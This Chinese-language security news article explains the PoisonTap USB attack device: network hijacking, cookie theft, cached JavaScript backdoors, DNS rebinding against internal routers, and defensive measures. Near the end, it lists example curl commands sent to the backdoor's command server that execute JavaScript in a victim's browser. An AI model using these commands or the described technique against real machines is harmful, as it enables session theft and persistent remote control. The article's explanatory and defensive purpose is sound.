黑基网 首页 资讯 IT业界 查看内容

30秒攻破任意密码保护的PC:深入了解5美元黑客神器PoisonTap

2016-11-23 09:24| 投稿: son850318

摘要: 近日,著名硬件黑客Samy Kamkar利用5美元设备打造的黑客工具PoisonTap,只需30秒,就可以攻破设置有任意密码的电脑系统,并实现长期后门安装。PoisonTap不是暴力破解密码,而是绕过密码。PoisonTap的标配:5美元的树 ...

近日,著名硬件黑客Samy Kamkar利用5美元设备打造的黑客工具PoisonTap,只需30秒,就可以攻破设置有任意密码的电脑系统,并实现长期后门安装。PoisonTap不是暴力破解密码,而是绕过密码。

PoisonTap的标配:5美元的树莓派微型电脑Raspberry Pi Zero、USB适配器、内置免费漏洞利用软件。目前,相关软件和利用工具已在Github提供下载Raspberry Pi Zero在某宝上也有售卖感兴趣的童鞋可以尝试打造属于自己的PoisonTap神器。以下为PoisonTap官方Github介绍的工作机制,感叹Samy Kamkar大神天马行空的思维,同时也深谙自己技艺不精,不足之处,希望大家指正交流。

PoisonTap操作实现:

PoisonTap通吃Windows和Mac系统,一旦插入电脑,将伪装模拟成新加入的以太网连接,即使受害者使用WIFI,一样可以使系统优先接入其伪装的虚假网络。PoisonTap利用中间人攻击方式,可以劫持监听受害者所有网络流量,窃取存储在浏览器里的任意cookie和session,然后发送给控制端。以下为PoisonTap具体操作实现:

通过 USB或Thunderbolt模拟成新加入的以太网连接设备;

劫持目标系统所有网络连接流量(即使是低优先级或未知的网络连接)

窃取存储在浏览器内相关Alexa排名前100万网站cookie和session信息

识别目标网络路由信息,通过远程outbound方式进行WebSocket或DNS重绑定攻击

通过HTTP的JS缓存中毒方式实现长期web后门安装控制,这些缓存后门涉及上千个域名和通用javascript CDN 链接

使用用户cookie对后端域名实现远程HTTP GET或POST方式控制连接

不需要系统解锁

移除攻击载体后,后门保持有效


 PoisonTap可以绕过或突破以下安全保护措施:

锁屏密码

路由表优先级设置和网络接口服务顺序

同源保护策略

Cookie的HttpOnly安全设置

Cookie的SameSite安全属性

双因素或多因素认证

DNS Pinning  

跨域资源共享

HTTPS cookie 保护

PoisonTap如何工作:

PoisonTap对系统和网络安全信任机制的攻击,将会产生一系列连锁反应,利用USB/Thunderbolt、DHCP、DNS和HTTP方式,可以进行信息窃取、网络入侵和后门安装。

网络劫持

1 攻击者向有密码保护并且锁屏的电脑系统插入PoisonTap;

2 PoisonTap将会模拟伪装成一个新加入系统的网络连接,默认情况下,即使在有密码保护的锁屏状态下,Windows、OS X 和Linux系统将会识别该虚假网络连接,并发出DHCP请求;

3 PoisonTap响应DHCP请求,并提供一组经过构造,从0.0.0.0至255.255.255.255,与PoisonTap设备为同一子网的随机IP地址组合; 通常,在系统使用现有网络连接的情况下,一个附加网络连接的加入,系统会把其默认为低优先级网络,并继续使用现有网络网关。但是,在基于”Internet traffic”的 “LANtraffic”情况下,任何路由表/网关优先级/网络接口服务顺序设置都可被绕过。PoisonTap通过更改原网络连接网关地址,把流量引入自身,进而劫持系统所有网络流量。


Cookie窃取

只要目标系统运行有浏览器,打开网页将会通过AJAX或动态脚本框架(script/iframes)产生各种请求,而由于系统网络流量被完全劫持,

1 PoisonTap将会监听到所有HTTP请求和响应,并将这些内容发送到PoisonTap的web服务端(Node.js);即使DNS服务器指向其它内部IP,由于这些内部DNS服务器将为缓存的域名产生公共IP地址,而这些IP地址已经被PoisonTap劫持,所以攻击仍然有效

3 当Node web服务器接收到请求时,PoisonTap会通过HTML或Javascript进行响应(许多网站会在后台请求中加载HTML或JS)

4 然后,HTML / JS-agnostic页面会生成许多隐藏的iframe,每个iframe中又包括Alexa排名前100万内的不同网站


通过web后门进行远程访问

1当PoisonTap生成上千个iframe之后,将会迫使浏览器加载每个iframe,但这些iframe不仅仅是空白页面,而是无限缓存的HTML + Javascript后门

2 即使用户当前未登录,由于PoisonTap已经在每个缓存域名上强制绑定了这些后门,使攻击者能够使用Cookie并在将来启动同源请求

例如,当加载http://nfl.com/PoisonTapiframe时,PoisonTap接受转向的Internet流量,并通过Node Web服务器响应HTTP请求

添加了其它HTTP头以无限缓存页面

3 实际响应页面是HTML和Javascript的组合,并由此产生持续有效的WebSocket连接攻击者web服务器端(通过互联网而不是PoisonTap设备)

WebSocket保持开放状态,允许攻击者在将来任何时候回连后端机器,并在任何有后门部署的源上执行请求(Alexa排名前100万个网站-见下文)

如果后门在一个站点(如nfl.com)上打开,但用户希望攻击不同的域名(如pinterest.com),攻击者可以将nfl.com上的iframe加载到pinterest.com后门中(http://pinterest.com/PoisonTap

同样,域上的任何“X-Frame-Options”、跨域资源共享和同源策略安全性完全被绕过,因为实际请求的是PoisonTap留下的缓存,而不是真正的域名

内部路由器后门和远程访问

1 PoisonTap可以劫持当前网络的实际局域网子网

2 PoisonTap通过在一个特定主机上强制缓存后门,具体来说,在目标路由器的IP后面加上“.ip.samy.pl”,如192.168.0.1.ip.samy.pl,就可以生成一个持久的DNS重绑定攻击

当使用PoisonTap作为DNS服务器(受害者使用公共DNS服务器)时,PoisonTap使用临时专门的IP(1.0.0.1)进行响应,这意味着此时任何请求都将访问到PoisonTap Web服务器

如果DNS服务器设置为内部网络(如192.168.0.x),1.0.0.1.pin.ip.samy.pl发出一个经过构造的请求,几秒之后,它将会向我的专用DNS服务器(公网的)返回任意[ip.address].ip.samy.pl中的IP地址信息

然后,PoisonTap将会在http://192.168.0.1.ip.samy.pl/PoisonTap上快速设置一个后门,而在PoisonTap设备上将指向1.0.0.1,该后门将实现从PoisonTap设备访问

3 DNSpinning 和DNSrebinding的安全性设置,由于之前做出Alexa top100网站请求而耗尽DNS pinning表,最终将被绕过。之后,DNS就不需要重新绑定,使得该攻击可以持续很长时间

4 现在,后门强制连接到http://192.168.0.1.ip.samy.pl/PoisonTap,任何对192.168.0.1.ip.samy.pl的请求都将访问到unpinned的IP地址,导致路由器解析直接指向192.168.0.1

5 这意味着如果通过后门远程在iframe中加载192.168.0.1.ip.samy.pl/PoisonTap指向主机,就可以对内部路由器执行AJAX GET/POST和其它任意页面,实现完全控制内部路由器

 

构造请求与DNS服务器解析的对应关系

[ip.addy].ip.samy.pl normally responds with [ip.addy]

192.168.0.1.ip.samy.pl -> 192.168.0.1 (A record)

[ip.addy].pin.ip.samy.pl temporarily (~5 seconds) points *.ip.samy.pl to [ip.addy]

1.0.0.1.pin.ip.samy.pl -> 1.0.0.1

192.168.0.1.ip.samy.pl -> 1.0.0.1 (A record, short TTL)

基于web远程访问的其它后门

PoisonTap替代了成千上万常见的,基于CDN的Javascript文件,如Google和jQuery CDNs。如果一个网站或域名加载了受感染中毒的CDN Javascript文件,正确的代码配合后门,就可以让攻击者实现入侵访问

由于每个缓存的网站域名都留有后门,即使当前受害者没有对任何域名执行访问,攻击者仍然可以远程强制后端浏览器执行同源请求(AJAX GET / POST)

当受害者访问基于HTTP或CDN Javascript缓存中毒的网站时,后门就被触发

PosionTap安全防范

服务器安全

1 仅使用HTTPS,至少对认证和认证内容使用HTTPS

2确保启用Cookie安全标记,防止HTTPS Cookie信息泄露

3 当调用远程Javascript脚本资源时,请使用子资源完整性(SRI)标记属性

4 使用HSTS防止HTTPS降级攻击

桌面客户端安全

1 有必要可以用粘合剂封住USBThunderbolt端口

2 每次离开电脑时关闭浏览器

3 禁用USB和Thunderbolt端口

4 经常清理浏览器的缓存数据

5 在不使用电脑时,让电脑进入休眠状态而不是睡眠状态,在休眠状态中,电脑中所有的进程都将停止工作,安全性更高

文件介绍:

backdoor.html:每当一个http://hostname/PoisonTapURL请求发生并窃取 cookie信息时,该文件作为返回的强制缓存内容,它包含一个后门并生成一个外连至samy.pl:1337(主机/端口可更改)的websocket,等待服务器命令。

backend_server.js:这是你在Internet可访问的Node服务器,也是backdoor.html连接的内容(例如,samy.pl:1337)。 该服务器也用来发送命令,如:

# pop alert to victim
curl 'http://samy.pl:1337/exec?alert("muahahahaha")'
# to set a cookie on victim
curl 'http://samy.pl:1337/exec?document.cookie="key=value"'
# to force victim to load a url via ajax (note, jQuery is stored inside the backdoor)
curl 'http://samy.pl:1337/exec?$.get("http://192.168.0.1.ip.samy.pl/login",function(d)\{console.log(d)\})'

pi_poisontap.js:它通过Raspberry Pi Zero上的Node.js运行,为PoisonTap 的HTTP服务端截获请求,存储窃取Cookie并注入缓存后门

pi_startup.sh:在Raspberry Pi Zero上启动时运行,将设备模拟为USB以太网配件,设置恶意DHCP服务器,允许流量重路由,DNS欺骗,并启动pi_poisontap.js文件

target_backdoor.js: 此文件预先放在任何与CDN相关的Javascript文件中,通过Google CDN’s jQuery URL方式形成后门

target_injected_xhtmljs.html:在受害者系统中注入HTTP / AJAX请求并形成整个攻击

poisontap.cookies.log: 记录来自受害者浏览器的cookie 

修复措施:

目前来说,PoisonTap因为是多种黑客技巧组合而成的攻击,整个攻击和利用过程不能明确反映某个产品或系统漏洞,所以,目前来说,没有一种明确的修复措施。但Kamkar提出了一种解决方案,希望在系统层面的网络连接切换中加入权限许可机制,但是苹果公司没有对此作出回应,而微软公司在给记者的回复邮件中表示,PoisonTap是一种物理接入攻击,所以,最好的防御策略就是自己保管好电脑并及时更新系统和软件。

小编推荐:欲学习电脑技术、系统维护、网络管理、编程开发和安全攻防等高端IT技术,请 点击这里 注册黑基账号,公开课频道价值万元IT培训教程免费学,让您少走弯路、事半功倍,好工作升职加薪!



免责声明:本文由投稿者转载自互联网,版权归原作者所有,文中所述不代表本站观点,若有侵权或转载等不当之处请联系我们处理,让我们一起为维护良好的互联网秩序而努力!联系方式见网站首页右下角。


鲜花

握手

雷人

路过

鸡蛋

相关阅读

最新评论


新出炉

返回顶部